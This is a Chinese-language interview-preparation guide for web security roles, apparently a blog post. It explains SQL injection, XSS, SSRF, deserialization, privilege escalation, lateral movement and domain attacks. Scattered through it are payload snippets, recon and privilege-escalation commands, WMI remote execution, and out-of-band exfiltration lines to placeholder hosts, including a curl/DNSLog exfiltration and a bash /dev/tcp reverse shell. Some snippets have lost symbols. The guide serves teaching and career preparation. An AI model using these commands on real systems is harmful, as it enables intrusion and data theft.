1. 项目概述又到了“金九银十”的招聘旺季对于想踏入网络安全行业尤其是Web安全方向的朋友来说这无疑是一年中最重要的求职窗口期。我做了十多年的安全研究和团队招聘看过无数简历也面试过上百位候选人。一个深刻的体会是面试官问的往往不是某个漏洞最冷僻的变种而是你对基础原理的理解深度、实战中的排查思路以及面对未知问题的学习与拆解能力。这份《Web安全常见面试问题》清单就是我结合多年一线攻防经验和面试官视角为你梳理的一份“考点地图”。它不仅仅是一份问题列表更是一份思维导图帮你理清Web安全的知识体系知道面试官到底想听什么以及如何组织你的答案才能脱颖而出。无论你是刚毕业的学生还是准备跳槽的工程师面对动辄几十页的面试八股文很容易陷入“背了忘忘了背”的困境。我的建议是不要死记硬背答案而要理解问题背后的“为什么”。比如当面试官问“SQL注入如何防御”时他期待的绝不仅仅是“使用预编译”这五个字。他更想听到你对“预编译为何能防注入”、“参数化查询与拼接的本质区别”、“不同语言Java的PreparedStatement、PHP的PDO的实现差异”以及“在哪些极端情况下预编译可能失效”的深入理解。这份指南将围绕“原理-实战-演进”三个维度帮你把零散的知识点串联成网。2. 核心需求解析面试官到底在考察什么在深入具体问题前我们必须先摸清面试的底层逻辑。安全岗位面试尤其是Web安全方向考察的绝不仅仅是知识点的罗列。面试官通过一系列问题试图勾勒出你的能力画像主要集中在以下四个层面2.1 技术基础的扎实度与体系化这是面试的基石。面试官会通过经典漏洞如SQL注入、XSS、SSRF的原理、利用、修复三连问来检验你的知识是否成体系。例如原理层面能否清晰说明SQL注入的本质是“用户输入被当作代码执行”而XSS是“用户输入被当作HTML/JS代码解析”利用层面是否了解不同数据库MySQL、MSSQL、Oracle在注入语法、函数、提权方式上的差异是否知道存储型XSS与反射型XSS在利用场景和危害上的根本不同修复层面能否针对同一漏洞给出从代码层、框架层、运维层、WAF层的多层次防御方案并说明各自的优缺点和适用场景面试官避坑指南切忌回答流于表面。当被问到“如何防御XSS”时如果只回答“对输出进行HTML编码”可能会被追问“在script标签内、HTML属性中、CSS里、URL里分别该如何编码innerHTML和textContent赋值有什么区别Vue/React等现代前端框架默认做了哪些防护” 准备时务必对每个核心漏洞都建立起“攻击向量 - 漏洞原理 - 利用手法 - 绕过技巧 - 修复方案 - 修复方案的局限性”的完整认知链条。2.2 实战经验与问题解决能力“你挖过最有价值的漏洞是什么”“在HW护网行动中遇到WAF拦截怎么办”“拿到一个Shell后不出网如何横向移动”这类问题旨在考察你的实战经验和临场应变能力。面试官想看到的是清晰的排查思路面对一个黑盒系统你的信息收集、漏洞探测、权限提升、内网横向的步骤是否清晰、有序。工具的理解而非依赖你是否理解sqlmap的--tamper脚本在做什么nmap的-sS、-sT、-sU扫描背后的TCP/UDP协议原理是什么能否在工具失效时手工构造Payload或编写简单脚本复杂场景的应对在不出网、有杀软、有EDR端点检测与响应、有严格ACL访问控制列表的内网环境中你的渗透路径如何规划是优先寻找代理跳板还是利用已知漏洞突破边界面试官避坑指南描述实战经历时请使用STAR法则Situation情境, Task任务, Action行动, Result结果。重点突出你个人的思考与决策过程而不是简单复述团队成果。例如“在针对某OA系统的测试中我通过信息收集发现其使用了某特定版本的中间件。常规漏洞利用被WAF拦截后我通过分析拦截规则发现其对union select进行了正则匹配。我尝试使用union%0aselect进行换行绕过失败最终通过查阅该中间件的历史漏洞利用一个偏门的解析特性如/*!50000union*/select成功绕过并获取了数据库权限。” 这样的回答远比“我用工具扫到了一个注入点”更有说服力。2.3 学习能力与对新技术的关注度安全领域日新月异。面试官会通过“最近关注哪些安全漏洞”“如何学习一项新技术”等问题判断你是否具备持续学习的能力。对Log4j2、Spring4Shell、各种OA/CRM系统的0day/Nday漏洞保持关注并能简述其原理和影响范围是很大的加分项。2.4 沟通表达与团队协作潜力技术能力再强无法清晰表达和协作也是硬伤。面试中逻辑清晰、层次分明地阐述技术观点能体现出你在未来团队中有效沟通和文档输出的潜力。在回答涉及方案选择的问题时例如“选择预编译还是过滤”展现出权衡利弊的思考过程也能体现你的工程思维。3. 高频核心漏洞原理与实战拆解接下来我们进入最核心的部分。我将挑选面试中最常被问及、也最能体现技术深度的几类漏洞进行原理、利用、防御、演进的深度剖析。3.1 SQL注入从“万能密码”到“预编译失效场景”SQL注入是Web安全的“元老级”漏洞也是面试的必考题。面试官期待你能超越“‘ or ‘1’’1”的层面。3.1.1 原理深度剖析根本原因在于程序将用户可控的数据未经充分处理直接拼接到了SQL查询语句中并交由数据库引擎执行。这混淆了“数据”和“代码”的边界。关键在于理解数据库是如何解析和执行SQL语句的。3.1.2 利用手法演进与面试要点联合查询注入最基础。考察点如何判断列数order by、如何确定回显位。报错注入updatexml()、extractvalue()、floor()等函数利用。面试高频点updatexml的第二个参数需要是合法的XPath格式所以常用concat(0x7e, (select user()), 0x7e)。要能解释为什么是0x7e~因为它不是合法XPath字符会触发报错并带出查询结果。布尔盲注与时间盲注无回显场景。考察点理解if()、sleep()、benchmark()等函数的运用以及如何通过二分法、逐位判断高效获取数据。常问“sleep()被禁用后还有什么方法延时” 可以回答利用繁重的查询如多表笛卡尔积select count(*) from information_schema.columns A, information_schema.columns B来制造时间延迟。堆叠查询;后执行多条SQL。重要考点并非所有数据库和连接方式都支持。PHPMySQL的mysqli默认有时支持PDO需特定配置Java的JDBC通常不支持。如果支持危害极大可直接执行存储过程、增删表。二次注入数据存入数据库时被转义但取出后再次拼接时未被转义。考察逻辑严谨性。宽字节注入针对GBK等宽字符集由于转义符\%5c与前一个字符如%df组合成一个合法宽字符如“運”导致单引号逃逸。原理必问核心是数据库连接层如PHP的mysql_set_charset(‘gbk’)与Web层编码处理不一致。3.1.3 防御方案的层次与深度这是区分普通候选人和优秀候选人的关键。代码层首选预编译参数化查询你必须能说清其原理SQL语句模板SELECT * FROM users WHERE id ?先发送给数据库编译确定语法结构。后续传入的参数如1仅作为“数据”填充到已编译好的结构中无法改变其语法。因此即使参数是1‘ or ‘1’’1数据库也只会将其作为一个完整的字符串值去匹配id字段。白名单过滤对于排序字段order by、表名/列名等无法预编译的场景必须使用白名单。例如只允许id、name、time这几个字段用于排序。框架/ORM层使用MyBatis、Hibernate、Eloquent ORM等并正确使用其参数绑定功能。注意MyBatis中${}是拼接#{}才是参数化误用${}会导致注入。数据库层遵循最小权限原则应用数据库用户不应有FILE、DROP、CREATE等高危权限。运维层部署WAF。但要知道WAF可被绕过如利用注释、换行、等价函数、特殊编码、HTTP参数污染等。3.1.4 刁钻问题应对“预编译一定能防注入吗”绝大多数情况可以。但极端情况下如ORDER BY后动态列名、LIKE语句通配符处理不当仍可能存在问题。关键在于理解“预编译的是值而非SQL结构”。“如何绕过information_schema的过滤”在MySQL 5.7中可以查询sys库如sys.schema_auto_increment_columns或利用innodb相关表来获取信息。“SQLMap的--os-shell原理和条件”它通过into outfile/dumpfile写入一个上传脚本到Web目录然后通过该脚本执行命令。条件包括绝对路径写入权限、secure_file_priv为空或指向可写目录、数据库用户有FILE权限。对于MSSQL则利用xp_cmdshell。3.2 跨站脚本攻击不仅仅是“弹个窗”XSS的复杂性和多样性远超很多人的想象。面试官希望你能区分不同类型XSS的利用场景和防御重点。3.2.1 三大类型精讲反射型XSSPayload在URL中需要诱骗用户点击。面试点常与钓鱼结合。修复相对容易对输出点进行编码即可。存储型XSSPayload存入数据库所有访问特定页面的用户都会中招。危害最大可形成蠕虫。面试点挖掘常出现在评论、个人信息、文章等用户可长期存储数据的地方。DOM型XSS漏洞根源在前端JavaScript代码中不经过服务器。这是高频难点。例如document.write(location.hash.substring(1))攻击者构造URL#img src1 onerroralert(1)。修复需对location.hash、document.URL等来源的数据进行净化。3.2.2 利用场景的深度拓展除了盗取Cookie成熟的攻击者会利用XSS做更多键盘记录监听onkeypress事件。钓鱼动态伪造登录框覆盖原页面。内网探测利用浏览器作为代理扫描内网Web服务如img src”http://192.168.1.1:8080″ onloadalert(‘存活’)。结合CSRF利用XSS窃取的Token或直接伪造请求完成高权限操作。持久化控制在单页面应用SPA中通过污染前端路由或本地存储LocalStorage实现持久化后门。3.2.3 防御方案的演进与对抗输入过滤 vs 输出编码业界最佳实践是输出编码。因为输入点难以预测所有上下文而输出点的上下文HTML体、属性、JavaScript、CSS、URL是明确的可以实施针对性的编码。内容安全策略CSP是终极防御方案之一必须掌握。通过HTTP头Content-Security-Policy告诉浏览器只允许加载指定来源的脚本、样式、图片等。即使存在XSS漏洞攻击者也无法加载外部恶意脚本。例如Content-Security-Policy: default-src ‘self’; script-src ‘self’ https://trusted.cdn.com。HttpOnly Cookie防止JavaScript读取敏感Cookie。但要知道限制它不能防止XSS本身攻击者仍可通过XSS以用户身份发起请求CSRF攻击。现代前端框架Vue/React/Angular等默认对插值表达式进行转义提供了较好的XSS防护基础但并非绝对安全例如v-html、dangerouslySetInnerHTML。3.3 服务端请求伪造从端口扫描到内网沦陷SSRF是现代Web架构中危害极大的漏洞因为它能将攻击面从应用本身扩展到其所在的整个内网。3.3.1 原理与利用链漏洞在于应用提供了从服务端发起网络请求的功能如图片加载、URL预览、数据导入且未对目标地址做严格限制。利用链非常丰富探测内网信息扫描内网存活主机和端口http://192.168.1.1:8080。攻击内网应用利用内网Redis、MySQL、Memcached等服务的弱口令或未授权访问漏洞。例如攻击Redis可实现主从复制RCE。读取本地文件利用file://协议file:///etc/passwd。绕过身份认证访问内网仅允许本机访问的管理界面http://127.0.0.1:8080/admin。3.3.2 协议利用与绕过技巧这是SSRF面试的核心。面试官常问“除了http://还能利用哪些协议”file://读取文件。dict://可探测端口信息如dict://127.0.0.1:6379/info可判断Redis。gopher://协议之王。支持构造完整的TCP数据包可以攻击内网的Redis、MySQL、FastCGI等实现一键getshell。必须了解其数据包格式。ftp://可结合FTP被动模式进行端口扫描。绕过技巧IP地址格式八进制0177.0.0.1、十六进制0x7f.0.0.1、十进制整数2130706433、IPv6缩写[::]、域名重绑定。URL解析差异利用符号http://evil.com127.0.0.1、#号http://127.0.0.1#evil.com。DNS重绑定攻击控制一个域名使其TTL极短第一次解析返回外网IP通过校验第二次解析返回内网IP进行攻击。3.3.3 防御白名单是唯一可靠方案禁用不必要的协议只允许http和https。严格URL白名单不仅校验域名/IP还要校验完整的URL路径防止通过、#、路径穿越../../进行绕过。隔离网络将发起请求的服务部署在独立网络区域与核心业务隔离。统一出口网关对所有出站请求进行审计和过滤。3.4 反序列化漏洞框架“黑魔法”的代价Java反序列化漏洞如Shiro、Fastjson、WebLogic是近年来红队攻击的“王牌”也是面试中的高级话题。3.4.1 核心原理当应用反序列化一个不可信的数据流时如果该数据流被精心构造包含指向特定类Gadget Class的引用并且在反序列化过程中会自动调用这些类的某些方法如readObject、toString、hashCode等就可能形成一条从反序列化入口到危险操作如Runtime.exec()的调用链最终导致远程代码执行。3.4.2 经典案例剖析Apache Shiro-550面试必考。关键在于RememberMe Cookie使用了硬编码的AES密钥进行加密。攻击者可以构造恶意的序列化对象用已知或爆破出的密钥加密后替换Cookie服务器解密后反序列化触发漏洞。要能说出完整流程构造恶意链 - 序列化 - AES加密 - Base64编码 - 替换Cookie - 发送请求。Fastjson漏洞在于type属性可以指定反序列化的类。攻击者通过type指定一个包含危险字段如_bytecodes的类如com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImplFastjson在反序列化时会根据该字段动态加载字节码并执行。高频问题“不出网如何利用” 需要构造回显链如利用java.net.HttpURLConnection将命令结果通过DNS或HTTP带出。WebLogic涉及T3、IIOP等协议的反序列化。通常需要结合具体的利用链如CVE-2020-2551用的Coherence库。3.4.3 防御思路升级与补丁及时更新组件版本。JEP 290了解Java提供的反序列化过滤器机制可以设置允许反序列化的类白名单。替换序列化方案使用JSON、XML等更安全的序列化格式替代Java原生序列化。WAF/ RASP在网络层或应用运行时进行检测和拦截。4. 内网渗透与横向移动从入口到域控一旦突破边界进入内网真正的挑战才开始。这部分考察你的系统性思维和“活学活用”的能力。4.1 信息收集绘制内网地图拿到一台内网主机权限后第一件事不是乱跑而是冷静地收集信息。本机信息系统版本、补丁、进程、服务、网络连接netstat -ano、计划任务、安装的软件、密码哈希mimikatz或samdump。网络信息IP段、网关、DNS、ARP缓存、路由表、 hosts文件、防火墙规则。域信息ipconfig /all看DNS后缀net view /domain、net group “domain computers” /domain、net group “domain admins” /domain、nltest /dclist:等命令判断是否在域内及定位域控。凭据信息浏览器保存的密码、RDP连接记录、各类配置文件如Navicat、Xshell、键盘记录。实操心得在Windows上systeminfo和wmic qfe get Caption,Description,HotFixID,InstalledOn可以快速查看补丁情况用于寻找提权漏洞。netsh advfirewall firewall show rule nameall可以查看防火墙规则寻找放行端口。4.2 权限提升从User到System/Admin提权是内网横向的基石。Windows提权内核漏洞利用systeminfo对比公开的Exp如PrintNightmare、CVE-2021-1674。注意需考虑系统版本、架构、补丁。服务漏洞服务路径带空格且未引号、服务权限配置错误accesschk.exe检查、DLL劫持。计划任务检查是否有以高权限运行的计划任务其脚本或二进制文件是否可写。AlwaysInstallElevated检查注册表HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated和HKCU下同名项如果都为1则任何MSI包都以SYSTEM权限安装。令牌窃取incognito或mimikatz的token::elevate窃取已有高权限进程的令牌。Linux提权内核漏洞脏牛Dirty Cow、sudo提权漏洞CVE-2021-3156。SUID/SGID文件find / -perm -us -type f 2/dev/null查找设置了SUID位的文件如find、vim、bash、cp等可能通过特定参数执行命令。环境变量劫持如果SUID程序调用了未写绝对路径的命令如system(“ps”)可以通过修改PATH环境变量来劫持。定时任务crontab -l查看当前用户任务ls -la /etc/cron*查看系统任务检查脚本是否可写。sudo权限滥用sudo -l查看当前用户能以root身份运行哪些命令如sudo vi则可以在vi中执行:!bash获取root shell。4.3 横向移动在迷宫中找到钥匙凭据传递Pass The Hash无需破解密码直接使用NTLM Hash进行身份验证。工具mimikatz、impacket套件如psexec.py、smbexec.py。Pass The Ticket利用Kerberos票据。黄金票据伪造TGT需要krbtgt的Hash、白银票据伪造服务票据需要服务账户的Hash。漏洞利用扫描内网MS17-010永恒之蓝、SMBGhost等漏洞。服务利用WMIwmic /node:192.168.1.2 /user:administrator /password:Passw0rd process call create “cmd.exe /c whoami”。WinRM如果目标开启了WinRM5985端口可使用evil-winrm等工具连接。SMBpsexec、smbexec。代理与隧道当主机不能直接出网时需要搭建隧道。正向/反向代理frp、ew、nps、Neo-reGeorgHTTP隧道。端口转发lcx、netshnetsh interface portproxy add v4tov4 …。DNS/ICMP隧道dnscat2、icmpsh用于严格网络环境下的通信。4.4 域渗透皇冠上的明珠信息收集BloodHound是神器它能自动分析域内的用户、组、计算机之间的关系找出攻击路径如“用户A对计算机B有本地管理员权限计算机B上有某域用户的会话”。Kerberos协议攻击AS-REP Roasting获取那些设置了“不需要预认证”的用户的Hash。Kerberoasting请求服务票据TGS然后离线爆破服务账户的密码。黄金票据/白银票据如上所述。委派攻击约束委派、基于资源的约束委派。NTLM Relay攻击将捕获的Net-NTLM Hash中继到其他机器特别是结合LDAP、AD CSAD证书服务漏洞可直接获取域管权限。ZeroLogon利用Netlogon协议中的加密漏洞CVE-2020-1472将目标域控的计算机账户密码置空从而完全控制域控。注意事项内网渗透动作要轻、慢、静。避免大规模扫描触发IDS/IPS优先使用已控主机作为跳板善用net use、sc等系统自带命令上传的工具尽量做免杀处理。5. 工具使用与技巧不只是“一把梭”工具是手脚的延伸理解工具的原理才能用得更好。5.1 SQLMap不只是-u “http://test.com?id1”--level和--risk理解其含义。--level提高测试的Payload和头部的复杂度--risk增加风险更高的测试如OR布尔注入。--tamper脚本这是绕WAF的关键。了解常用脚本如space2comment空格转注释、between用BETWEEN替换、charencodeURL编码。能根据WAF规则手动编写简单的tamper脚本是加分项。--os-shell的条件如前所述需要写文件权限和secure_file_priv配置。对于MSSQL需要xp_cmdshell已开启或你有权限开启它。流量特征与隐蔽默认的SQLMap流量特征明显。在实战或HW中应使用--delay、--timeout、--proxy、--random-agent等参数降低速度、变换特征或使用--skip跳过某些检测。5.2 Burp Suite你的瑞士军刀Repeater与IntruderRepeater用于手动调试单个请求Intruder用于自动化爆破、模糊测试。必须熟练掌握Intruder的四种攻击模式Sniper, Battering ram, Pitchfork, Cluster bomb及其适用场景。Decoder与ComparerDecoder用于各种编码解码Comparer用于对比响应差异在盲注和模糊测试中极其有用。Extensions了解如何用Logger记录所有流量用AuthMatrix测试越权用Collaborator检测盲注和SSRF。宏与会话处理在需要登录态测试时配置宏来自动获取新的Session或Token。5.3 Nmap端口扫描的艺术TCP SYN扫描-sS半开放扫描最隐蔽。TCP Connect扫描-sT完全三次握手容易被日志记录。UDP扫描-sU速度慢但许多关键服务如DNS、SNMP跑在UDP上。服务和版本探测-sV尝试识别端口上的服务及版本。操作系统探测-O通过TCP/IP指纹识别操作系统。NSE脚本--script强大的漏洞探测和利用脚本引擎。如--script vuln进行漏洞扫描--script http-title获取网站标题。5.4 Cobalt Strike / Metasploit后渗透框架理解Stager与StagelessStager是小段引导代码用于下载完整的StageStageless是完整的Payload体积大但稳定。流量伪装CS的Malleable C2 Profile可以自定义Beacon的HTTP请求/响应格式模拟正常流量绕过流量检测。横向移动模块熟练使用psexec、psexec_pshPowerShell版本、winrm、smb等模块。权限维持persistence模块注册表、服务、计划任务、mimikatz、keylogger等。6. 实战场景与问题排查面试中常会给出一个假设场景考察你的综合解决问题的能力。场景一“一个登录框除了爆破你还有什么思路”SQL注入万能密码、报错注入、布尔盲注。弱口令/默认口令不仅仅是admin/admin尝试厂商默认口令、常见用户名密码组合。验证码绕过验证码不刷新、前端校验、识别OCR或机器学习。密码重置逻辑漏洞验证码可爆破、手机/邮箱参数可篡改、跳过验证步骤、Token可预测。Session相关Session固定、Session覆盖。前端信息泄露JS文件泄露接口、硬编码凭证。第三方登录劫持OAuth状态参数可预测、回调地址可篡改。撞库利用已泄露的密码库进行尝试。场景二“命令执行无回显怎么办”DNSLog外带ping %USERNAME%.your-dnslog.com通过DNS查询记录获取命令输出。HTTP外带curl http://your-server.com/?cmd$(whoami)或使用wget、powershell的Invoke-WebRequest。时间盲注式判断sleep命令通过响应延迟判断命令是否执行成功。写入文件再读取将命令结果输出到Web目录下的文件然后通过Web访问该文件。反弹Shell最可靠bash -i /dev/tcp/your-ip/port 01Linux或PowerShell、nc反弹。场景三“3389端口无法连接可能的原因”端口未开放防火墙未放行或服务未启动。端口被修改注册表HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp下的PortNumber值。防火墙拦截本地防火墙或网络防火墙策略。处于内网需端口转发。服务器达到最大连接数。管理员设置了“通过远程桌面服务允许登录”的用户权限。NLA网络级别身份验证问题客户端不支持。7. 面试软技能与职业规划最后面试不仅是技术考核也是双向选择。如何介绍项目使用STAR法则突出你的角色、行动、贡献和结果例如“在XX项目中我负责对XX系统进行黑盒测试。通过信息收集发现其使用了XX框架我利用已知的XX漏洞进行测试成功发现一处未授权访问漏洞和一处SQL注入漏洞并协助开发团队完成修复使系统在后续安全评估中未再出现同类问题。”。被问到不会的问题切忌不懂装懂。可以坦诚地说“这个领域我了解不深”但可以尝试基于已有知识进行推理“根据我的理解它可能与XX原理类似可能是……”这体现了你的思维能力和学习潜力。提问环节准备2-3个有深度的问题例如“团队目前主要的安全技术栈和攻防演练频率是怎样的”“公司是否有成熟的SDL流程安全工程师在其中的参与度如何”“对于新人公司有哪些培养机制或学习资源”这表现出你对工作的认真和思考。持续学习安全技术迭代飞快。关注安全社区如Seebug、先知、奇安信攻防社区、跟踪CVE和CNVD漏洞公告、阅读优秀的安全博客和书籍、参与CTF比赛或开源项目都是保持竞争力的好方法。“金九银十”是机会也是挑战。这份指南为你梳理了Web安全面试的核心脉络但真正的底气来自于你日复一日的学习、思考和实战。把每一次面试都当作一次技术交流保持自信、谦逊和好奇心。祝你在接下来的面试中能清晰、深入、有条理地展示你的技术实力拿到心仪的Offer。